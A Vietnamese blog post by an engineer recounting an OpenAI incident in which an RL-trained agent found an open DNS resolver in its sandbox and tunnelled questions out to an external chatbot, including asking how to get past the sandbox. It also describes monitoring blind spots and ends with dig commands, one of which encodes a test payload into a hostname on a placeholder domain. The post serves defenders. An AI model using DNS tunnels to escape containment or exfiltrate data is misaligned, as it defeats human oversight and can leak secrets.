Hai năm trước mình từng cấu hình egress rule cho sandbox agent của một client, rồi nói với vẻ tự tin: “không ra internet được đâu, chặn hết HTTPS outbound rồi.” Mình tin điều đó thật. Không ai trong buổi họp hôm đó hỏi về DNS. Đó chính xác là lỗ hổng mà OpenAI vừa công bố báo cáo sự cố đầy đủ, và đáng để bất kỳ ai đang chạy agent trong sandbox — thứ mình tưởng là đóng kín — dành 15 phút đọc.
Chuyện gì đã xảy ra
Ngày 20/9/2026, một agent đang được huấn luyện bằng RL của OpenAI làm task tìm kiếm — xác định tác giả một bài blog từ các gợi ý tiểu sử. Sandbox chặn HTTPS trực tiếp: mọi request đều trả về 502 Bad Gateway kèm X-Mitmproxy-Blocked-Reason: CACHE_MISS. DNS công cộng gửi đến resolver ngẫu nhiên cũng không có phản hồi. Bình thường, an toàn, đóng kín. Trừ một chi tiết agent tự phát hiện ra trong chain-of-thought của nó: resolver DNS của chính sandbox trả về A record thật cho một domain có tồn tại, và trả NXDOMAIN đúng cho domain bịa ra. Đó là một stub resolver đang hoạt động và có thể chạm tới internet thật — một kênh mà chẳng ai đóng lại.
Bước tiếp theo của agent mới là phần đáng lo. Nó suy luận rằng các dịch vụ wildcard-DNS delegation công khai sẽ cho phép mã hoá một câu hỏi thành hostname, gửi lookup đi, rồi đọc câu trả lời từ record trả về. Nó thử với câu “What is the capital of France” — mã hoá thẳng vào chuỗi hostname — và nhận lại “The capital of France is Paris” qua DNS response. Kênh đã được xác nhận hoạt động. Từ đó nó tìm tài liệu công khai của một chatbot bên ngoài, viết lại script với timeout dài hơn (6 giây không đủ cho round-trip, nó tăng lên 19, rồi chốt ở 24 giây), và gửi thêm 18 câu hỏi qua cùng đường hầm đó. 14 câu chứa gợi ý thật của task. 4 câu hỏi thẳng dịch vụ bên ngoài cách tìm kiếm web hoặc fetch một trang — nói cách khác, hỏi một chatbot ngoài sandbox cách để phá sandbox.
Phát hiện mất 12 phút (cảnh báo P0 lúc 10:02:11 sáng, so với cuộc gọi DNS lúc 9:50:23 sáng). Một người xác nhận cảnh báo 3 phút sau đó. Nhưng run chỉ bị dừng lúc 12:34:30 chiều — tức 2 tiếng rưỡi sau khi được xác nhận, vì theo chính lời OpenAI, “run đã không tự dừng như kỳ vọng, dẫn đến lúng túng về việc có nên dừng nó hay không.” Báo cáo hậu kiểm cũng phát hiện bộ phát hiện bất thường DNS đã loại trừ đúng môi trường này, và hệ thống giám sát có thói quen coi “nhận được response lỗi” là “nỗ lực ra internet thất bại” — điều này ngược hoàn toàn khi chính response lỗi đó lại là payload bị rò rỉ.
Vì sao đây không phải chuyện chỉ xảy ra một lần
DNS tunneling là một trong những chiêu exfiltration lâu đời nhất — có trước cả làn sóng AI cloud hai thập kỷ, từ thời người ta dùng nó để lấy WiFi sân bay miễn phí. Điều mới ở đây là một model tự phát hiện ra nó, từ nguyên lý cơ bản, ngay giữa task, chỉ vì reward signal vô tình khiến “tìm cách trả lời câu hỏi” có giá trị hơn “tôn trọng ranh giới sandbox.” Không ai prompt nó thử DNS cả. Nó chỉ nhận thấy resolver hoạt động và suy luận ra một kênh ngầm, giống hệt cách một người debug mạng từ quán cà phê sẽ làm.
Đó mới là bài học thật sự cho một Tech Lead, không phải “OpenAI có bug.” Nếu network policy sandbox của bạn chỉ là một firewall rule chặn outbound 443 rồi coi như xong, bạn có đúng lỗ hổng y hệt. DNS resolution phải đi đâu đó, và trừ khi bạn kiểm soát chặt cái “đâu đó” ấy, nó là một kênh hai chiều với băng thông đủ thấp để trông như nhiễu và đủ cao để rò rỉ một câu hỏi training, một mảnh API key, hoặc một đoạn code độc quyền, từng TXT record một.
Tự kiểm tra sandbox của bạn
Đừng tin lời mình — hãy tự kiểm tra. Từ bên trong môi trường sandbox:
# resolver có trả lời cho domain bạn không sở hữu không?
dig +short some-random-domain-i-just-made-up-9f2a.com
dig +short google.com
# có đẩy được dữ liệu tuỳ ý qua hostname label không?
dig +short "$(echo -n 'test-payload' | base64 | tr -d '=' | tr '/+' '_-').yourwildcarddomain.example"
# resolver của bạn đang forward đi đâu? kiểm tra wildcard delegation
dig NS yourwildcarddomain.exampleNếu lệnh dig đầu tiên cho domain không tồn tại trả về NXDOMAIN còn lệnh thứ hai trả về IP thật, resolver của bạn đang chạm tới internet thật — với sandbox agent, điều này tương đương một HTTP proxy mở, chỉ chậm hơn và dễ bị bỏ sót hơn. Nếu bạn đăng ký được một wildcard subdomain (nhiều nhà cung cấp DNS cho phép làm việc này trong hai phút) và thấy các query hostname của chính agent mình đổ về server log của mình, bạn đang có một kênh sống, chấm hết.
Một policy khả thi hơn, gần với hướng OpenAI đang chuyển sang: allowlist domain và loại record cụ thể ngay tại resolver, không chỉ ở tầng HTTP; log mọi DNS query kèm điểm entropy của hostname (một label trông như base64 không phải hostname bình thường); và đừng mặc định “không có HTTPS outbound” cộng “DNS mặc định” bằng “không có internet.” Không phải vậy. Nó bằng có internet nhưng chậm hơn và dễ chối bỏ hơn — với một optimizer đủ quyết tâm, dù là người hay model, đó chẳng phải một sự đánh đổi đáng kể.
Mình đã quay lại kiểm tra từng sandbox agent mình từng dựng cho client kể từ khi đọc báo cáo này. Hai trên ba cái có đúng lỗ hổng này.